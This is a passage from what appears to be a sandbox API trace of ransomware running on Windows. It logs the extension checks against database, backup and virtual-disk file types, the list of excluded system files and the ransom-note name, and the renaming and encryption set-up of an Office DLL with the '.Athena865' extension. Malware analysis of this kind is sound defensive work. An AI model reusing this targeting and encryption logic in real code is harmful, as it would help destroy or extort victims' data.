lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0080.960] lstrlenW (lpString="4dl") returned 3 [0080.960] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0080.960] lstrlenW (lpString="^^^") returned 3 [0080.960] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0080.960] lstrlenW (lpString="abs") returned 3 [0080.960] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0080.960] lstrlenW (lpString="abx") returned 3 [0080.960] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0080.960] lstrlenW (lpString="accdb") returned 5 [0080.960] lstrcmpiW (lpString1="N.DLL", lpString2="accdb") returned 1 [0080.960] lstrlenW (lpString="accdc") returned 5 [0080.960] lstrcmpiW (lpString1="N.DLL", lpString2="accdc") returned 1 [0080.960] lstrlenW (lpString="accde") returned 5 [0080.961] lstrcmpiW (lpString1="N.DLL", lpString2="accde") returned 1 [0080.961] lstrlenW (lpString="accdr") returned 5 [0080.961] lstrcmpiW (lpString1="N.DLL", lpString2="accdr") returned 1 [0080.961] lstrlenW (lpString="accdt") returned 5 [0080.961] lstrcmpiW (lpString1="N.DLL", lpString2="accdt") returned 1 [0080.961] lstrlenW (lpString="accdw") returned 5 [0080.961] lstrcmpiW (lpString1="N.DLL", lpString2="accdw") returned 1 [0080.961] lstrlenW (lpString="accft") returned 5 [0080.961] lstrcmpiW (lpString1="N.DLL", lpString2="accft") returned 1 [0080.961] lstrlenW (lpString="adb") returned 3 [0080.961] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0080.961] lstrlenW (lpString="adb") returned 3 [0080.961] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0080.961] lstrlenW (lpString="ade") returned 3 [0080.961] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0080.961] lstrlenW (lpString="adf") returned 3 [0080.961] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0080.961] lstrlenW (lpString="adn") returned 3 [0080.961] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0080.961] lstrlenW (lpString="adp") returned 3 [0080.961] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0080.961] lstrlenW (lpString="alf") returned 3 [0080.961] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0080.961] lstrlenW (lpString="ask") returned 3 [0080.961] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0080.961] lstrlenW (lpString="btr") returned 3 [0080.961] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0080.961] lstrlenW (lpString="cat") returned 3 [0080.961] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0080.961] lstrlenW (lpString="cdb") returned 3 [0080.961] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0080.961] lstrlenW (lpString="ckp") returned 3 [0080.961] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0080.962] lstrlenW (lpString="cma") returned 3 [0080.962] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0080.962] lstrlenW (lpString="cpd") returned 3 [0080.962] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0080.962] lstrlenW (lpString="dacpac") returned 6 [0080.962] lstrcmpiW (lpString1="IN.DLL", lpString2="dacpac") returned 1 [0080.962] lstrlenW (lpString="dad") returned 3 [0080.962] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0080.962] lstrlenW (lpString="dadiagrams") returned 10 [0080.962] lstrcmpiW (lpString1="MSMAIN.DLL", lpString2="dadiagrams") returned 1 [0080.962] lstrlenW (lpString="daschema") returned 8 [0080.962] lstrcmpiW (lpString1="MAIN.DLL", lpString2="daschema") returned 1 [0080.962] lstrlenW (lpString="db-journal") returned 10 [0080.962] lstrcmpiW (lpString1="MSMAIN.DLL", lpString2="db-journal") returned 1 [0080.962] lstrlenW (lpString="db-shm") returned 6 [0080.962] lstrcmpiW (lpString1="IN.DLL", lpString2="db-shm") returned 1 [0080.962] lstrlenW (lpString="db-wal") returned 6 [0080.962] lstrcmpiW (lpString1="IN.DLL", lpString2="db-wal") returned 1 [0080.962] lstrlenW (lpString="dbc") returned 3 [0080.962] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0080.962] lstrlenW (lpString="dbs") returned 3 [0080.962] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0080.962] lstrlenW (lpString="dbt") returned 3 [0080.962] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0080.962] lstrlenW (lpString="dbv") returned 3 [0080.962] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0080.962] lstrlenW (lpString="dbx") returned 3 [0080.962] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0080.962] lstrlenW (lpString="dcb") returned 3 [0080.962] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0080.962] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0080.963] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OMSMAIN.DLL.Athena865") returned 64 [0080.963] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMSMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\omsmain.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMSMAIN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\omsmain.dll.athena865"), dwFlags=0x1) returned 1 [0080.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMSMAIN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\omsmain.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.965] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1104256) returned 1 [0080.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.965] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.966] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.966] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.966] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10dc80, lpName=0x0) returned 0x17c [0080.968] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10dc80) returned 0x2d50000 [0081.145] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0081.146] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0081.146] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0081.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0081.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0081.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0081.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0081.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0081.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0081.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0081.146] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0081.156] CloseHandle (hObject=0x17c) returned 1 [0081.156] CloseHandle (hObject=0x154) returned 1 [0081.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0081.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0081.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0081.161] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46c75c00, ftCreationTime.dwHighDateTime=0x1cab8a7, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46c75c00, ftLastWriteTime.dwHighDateTime=0x1cab8a7, nFileSizeHigh=0x0, nFileSizeLow=0x59d90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OMSXP32.DLL", cAlternateFileName="")) returned 1 [0081.161] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0081.161] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0081.161] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2=".") returned 1 [0081.161] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2="..") returned 1 [0081.161] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2="windows") returned -1 [0081.161] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2="bootmgr") returned 1 [0081.161] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2="temp") returned -1 [0081.161] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2="pagefile.sys") returned -1 [0081.161] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2="boot") returned 1 [0081.161] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2="ids.txt") returned 1 [0081.161] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2="ntuser.dat") returned 1 [0081.161] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2="perflogs") returned -1 [0081.161] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2="MSBuild") returned 1 [0081.161] lstrlenW (lpString="OMSXP32.DLL") returned 11 [0081.161] lstrcpyW (in: lpString1=0x241e89e, lpString2="OMSXP32.DLL" | out: lpString1="OMSXP32.DLL") returned="OMSXP32.DLL" [0081.161] lstrlenW (lpString="OMSXP32.DLL") returned 11 [0081.161] lstrlenW (lpString="Athena865") returned 9 [0081.161] lstrcmpiW (lpString1="SXP32.DLL", lpString2="Athena865") returned 1 [0081.161] lstrlenW (lpString=".dll") returned 4 [0081.161] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2=".dll") returned 1 [0081.161] lstrlenW (lpString=".lnk") returned 4 [0081.161] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2=".lnk") returned 1 [0081.162] lstrlenW (lpString=".ini") returned 4 [0081.162] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2=".ini") returned 1 [0081.162] lstrlenW (lpString=".sys") returned 4 [0081.162] lstrcmpiW (lpString1="OMSXP32.DLL", lpString2=".sys") returned 1 [0081.162] lstrlenW (lpString="OMSXP32.DLL") returned 11 [0081.162] lstrlenW (lpString="bak") returned 3 [0081.162] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0081.162] lstrlenW (lpString="ba_") returned 3 [0081.162] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0081.162] lstrlenW (lpString="dbb") returned 3 [0081.162] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0081.162] lstrlenW (lpString="vmdk") returned 4 [0081.162] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0081.162] lstrlenW (lpString="rar") returned 3 [0081.162] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0081.162] lstrlenW (lpString="zip") returned 3 [0081.162] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0081.162] lstrlenW (lpString="tgz") returned 3 [0081.162] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0081.162] lstrlenW (lpString="vbox") returned 4 [0081.162] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0081.162] lstrlenW (lpString="vdi") returned 3 [0081.162] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0081.162] lstrlenW (lpString="vhd") returned 3 [0081.162] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0081.162] lstrlenW (lpString="vhdx") returned 4 [0081.162] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0081.162] lstrlenW (lpString="avhd") returned 4 [0081.162] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0081.162] lstrlenW (lpString="db") returned 2 [0081.162] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0081.162] lstrlenW (lpString="db2") returned 3 [0081.162] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0081.163] lstrlenW (lpString="db3") returned 3 [0081.163] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0081.163] lstrlenW (lpString="dbf") returned 3 [0081.163] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0081.163] lstrlenW (lpString="mdf") returned 3 [0081.163] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0081.163] lstrlenW (lpString="mdb") returned 3 [0081.163] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0081.163] lstrlenW (lpString="sql") returned 3 [0081.163] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0081.163] lstrlenW (lpString="sqlite") returned 6 [0081.163] lstrcmpiW (lpString1="32.DLL", lpString2="sqlite") returned -1 [0081.163] lstrlenW (lpString="sqlite3") returned 7 [0081.163] lstrcmpiW (lpString1="P32.DLL", lpString2="sqlite3") returned -1 [0081.163] lstrlenW (lpString="sqlitedb") returned 8 [0081.163] lstrcmpiW (lpString1="XP32.DLL", lpString2="sqlitedb") returned 1 [0081.163] lstrlenW (lpString="xml") returned 3 [0081.163] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0081.163] lstrlenW (lpString="$er") returned 3 [0081.163] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0081.163] lstrlenW (lpString="4dd") returned 3 [0081.163] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0081.163] lstrlenW (lpString="4dl") returned 3 [0081.163] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0081.163] lstrlenW (lpString="^^^") returned 3 [0081.163] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0081.163] lstrlenW (lpString="abs") returned 3 [0081.163] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0081.163] lstrlenW (lpString="abx") returned 3 [0081.163] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0081.163] lstrlenW (lpString="accdb") returned 5 [0081.163] lstrcmpiW (lpString1="2.DLL", lpString2="accdb") returned -1 [0081.164] lstrlenW (lpString="accdc") returned 5 [0081.164] lstrcmpiW (lpString1="2.DLL", lpString2="accdc") returned -1 [0081.164] lstrlenW (lpString="accde") returned 5 [0081.164] lstrcmpiW (lpString1="2.DLL", lpString2="accde") returned -1 [0081.164] lstrlenW (lpString="accdr") returned 5 [0081.164] lstrcmpiW (lpString1="2.DLL", lpString2="accdr") returned -1 [0081.164] lstrlenW (lpString="accdt") returned 5 [0081.164] lstrcmpiW (lpString1="2.DLL", lpString2="accdt") returned -1 [0081.164] lstrlenW (lpString="accdw") returned 5 [0081.164] lstrcmpiW (lpString1="2.DLL", lpString2="accdw") returned -1 [0081.164] lstrlenW (lpString="accft") returned 5 [0081.164] lstrcmpiW (lpString1="2.DLL", lpString2="accft") returned -1 [0081.164] lstrlenW (lpString="adb") returned 3 [0081.164] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0081.164] lstrlenW (lpString="adb") returned 3 [0081.164] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0081.164] lstrlenW (lpString="ade") returned 3 [0081.164] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0081.164] lstrlenW (lpString="adf") returned 3 [0081.164] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0081.164] lstrlenW (lpString="adn") returned 3 [0081.164] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0081.164] lstrlenW (lpString="adp") returned 3 [0081.164] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0081.164] lstrlenW (lpString="alf") returned 3 [0081.164] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0081.164] lstrlenW (lpString="ask") returned 3 [0081.164] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0081.164] lstrlenW (lpString="btr") returned 3 [0081.164] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0081.164] lstrlenW (lpString="cat") returned 3 [0081.164] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0081.164] lstrlenW (lpString="cdb") returned 3 [0081.165] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0081.165] lstrlenW (lpString="ckp") returned 3 [0081.165] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0081.165] lstrlenW (lpString="cma") returned 3 [0081.165] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0081.165] lstrlenW (lpString="cpd") returned 3 [0081.165] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0081.165] lstrlenW (lpString="dacpac") returned 6 [0081.165] lstrcmpiW (lpString1="32.DLL", lpString2="dacpac") returned -1 [0081.165] lstrlenW (lpString="dad") returned 3 [0081.165] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0081.165] lstrlenW (lpString="dadiagrams") returned 10 [0081.165] lstrcmpiW (lpString1="MSXP32.DLL", lpString2="dadiagrams") returned 1 [0081.165] lstrlenW (lpString="daschema") returned 8 [0081.165] lstrcmpiW (lpString1="XP32.DLL", lpString2="daschema") returned 1 [0081.165] lstrlenW (lpString="db-journal") returned 10 [0081.165] lstrcmpiW (lpString1="MSXP32.DLL", lpString2="db-journal") returned 1 [0081.165] lstrlenW (lpString="db-shm") returned 6 [0081.165] lstrcmpiW (lpString1="32.DLL", lpString2="db-shm") returned -1 [0081.165] lstrlenW (lpString="db-wal") returned 6 [0081.165] lstrcmpiW (lpString1="32.DLL", lpString2="db-wal") returned -1 [0081.165] lstrlenW (lpString="dbc") returned 3 [0081.165] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0081.165] lstrlenW (lpString="dbs") returned 3 [0081.165] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0081.165] lstrlenW (lpString="dbt") returned 3 [0081.165] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0081.165] lstrlenW (lpString="dbv") returned 3 [0081.165] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0081.165] lstrlenW (lpString="dbx") returned 3 [0081.165] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0081.165] lstrlenW (lpString="dcb") returned 3 [0081.165] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0081.166] lstrlenW (lpString="dct") returned 3 [0081.166] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0081.166] lstrlenW (lpString="dcx") returned 3 [0081.166] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0081.166] lstrlenW (lpString="ddl") returned 3 [0081.166] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0081.166] lstrlenW (lpString="dlis") returned 4 [0081.166] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0081.166] lstrlenW (lpString="dp1") returned 3 [0081.166] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0081.166] lstrlenW (lpString="dqy") returned 3 [0081.166] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0081.166] lstrlenW (lpString="dsk") returned 3 [0081.166] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0081.166] lstrlenW (lpString="dsn") returned 3 [0081.166] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0081.166] lstrlenW (lpString="dtsx") returned 4 [0081.166] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0081.166] lstrlenW (lpString="dxl") returned 3 [0081.166] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0081.166] lstrlenW (lpString="eco") returned 3 [0081.166] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0081.166] lstrlenW (lpString="ecx") returned 3 [0081.166] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0081.166] lstrlenW (lpString="edb") returned 3 [0081.166] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0081.166] lstrlenW (lpString="epim") returned 4 [0081.166] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0081.166] lstrlenW (lpString="fcd") returned 3 [0081.166] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0081.166] lstrlenW (lpString="fdb") returned 3 [0081.166] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0081.166] lstrlenW (lpString="fic") returned 3 [0081.167] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0081.167] lstrlenW (lpString="flexolibrary") returned 12 [0081.167] lstrlenW (lpString="fm5") returned 3 [0081.167] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0081.167] lstrlenW (lpString="fmp") returned 3 [0081.167] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0081.167] lstrlenW (lpString="fmp12") returned 5 [0081.167] lstrcmpiW (lpString1="2.DLL", lpString2="fmp12") returned -1 [0081.167] lstrlenW (lpString="fmpsl") returned 5 [0081.167] lstrcmpiW (lpString1="2.DLL", lpString2="fmpsl") returned -1 [0081.167] lstrlenW (lpString="fol") returned 3 [0081.167] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0081.167] lstrlenW (lpString="fp3") returned 3 [0081.167] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0081.167] lstrlenW (lpString="fp4") returned 3 [0081.167] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0081.167] lstrlenW (lpString="fp5") returned 3 [0081.167] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0081.167] lstrlenW (lpString="fp7") returned 3 [0081.167] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0081.167] lstrlenW (lpString="fpt") returned 3 [0081.167] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0081.167] lstrlenW (lpString="frm") returned 3 [0081.167] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0081.167] lstrlenW (lpString="gdb") returned 3 [0081.167] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0081.167] lstrlenW (lpString="gdb") returned 3 [0081.167] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0081.167] lstrlenW (lpString="grdb") returned 4 [0081.167] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0081.167] lstrlenW (lpString="gwi") returned 3 [0081.167] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0081.168] lstrlenW (lpString="hdb") returned 3 [0081.168] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0081.168] lstrlenW (lpString="his") returned 3 [0081.168] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0081.168] lstrlenW (lpString="ib") returned 2 [0081.168] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0081.168] lstrlenW (lpString="idb") returned 3 [0081.168] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0081.168] lstrlenW (lpString="ihx") returned 3 [0081.168] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0081.168] lstrlenW (lpString="itdb") returned 4 [0081.168] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0081.168] lstrlenW (lpString="itw") returned 3 [0081.168] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0081.168] lstrlenW (lpString="jet") returned 3 [0081.168] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0081.168] lstrlenW (lpString="jtx") returned 3 [0081.168] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0081.168] lstrlenW (lpString="kdb") returned 3 [0081.168] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0081.168] lstrlenW (lpString="kexi") returned 4 [0081.168] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0081.168] lstrlenW (lpString="kexic") returned 5 [0081.168] lstrcmpiW (lpString1="2.DLL", lpString2="kexic") returned -1 [0081.168] lstrlenW (lpString="kexis") returned 5 [0081.168] lstrcmpiW (lpString1="2.DLL", lpString2="kexis") returned -1 [0081.168] lstrlenW (lpString="lgc") returned 3 [0081.168] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0081.168] lstrlenW (lpString="lwx") returned 3 [0081.168] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0081.168] lstrlenW (lpString="maf") returned 3 [0081.168] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0081.168] lstrlenW (lpString="maq") returned 3 [0081.169] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0081.169] lstrlenW (lpString="mar") returned 3 [0081.169] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0081.169] lstrlenW (lpString="marshal") returned 7 [0081.169] lstrcmpiW (lpString1="P32.DLL", lpString2="marshal") returned 1 [0081.169] lstrlenW (lpString="mas") returned 3 [0081.169] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0081.169] lstrlenW (lpString="mav") returned 3 [0081.169] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0081.169] lstrlenW (lpString="maw") returned 3 [0081.169] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0081.169] lstrlenW (lpString="mdbhtml") returned 7 [0081.169] lstrcmpiW (lpString1="P32.DLL", lpString2="mdbhtml") returned 1 [0081.169] lstrlenW (lpString="mdn") returned 3 [0081.169] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0081.169] lstrlenW (lpString="mdt") returned 3 [0081.169] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0081.169] lstrlenW (lpString="mfd") returned 3 [0081.169] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0081.169] lstrlenW (lpString="mpd") returned 3 [0081.169] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0081.169] lstrlenW (lpString="mrg") returned 3 [0081.169] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0081.169] lstrlenW (lpString="mud") returned 3 [0081.169] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0081.169] lstrlenW (lpString="mwb") returned 3 [0081.169] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0081.169] lstrlenW (lpString="myd") returned 3 [0081.169] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0081.169] lstrlenW (lpString="ndf") returned 3 [0081.169] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0081.169] lstrlenW (lpString="nnt") returned 3 [0081.170] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0081.170] lstrlenW (lpString="nrmlib") returned 6 [0081.170] lstrcmpiW (lpString1="32.DLL", lpString2="nrmlib") returned -1 [0081.170] lstrlenW (lpString="ns2") returned 3 [0081.170] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0081.170] lstrlenW (lpString="ns3") returned 3 [0081.170] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0081.170] lstrlenW (lpString="ns4") returned 3 [0081.170] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0081.170] lstrlenW (lpString="nsf") returned 3 [0081.170] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0081.170] lstrlenW (lpString="nv") returned 2 [0081.170] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0081.170] lstrlenW (lpString="nv2") returned 3 [0081.170] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0081.170] lstrlenW (lpString="nwdb") returned 4 [0081.170] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 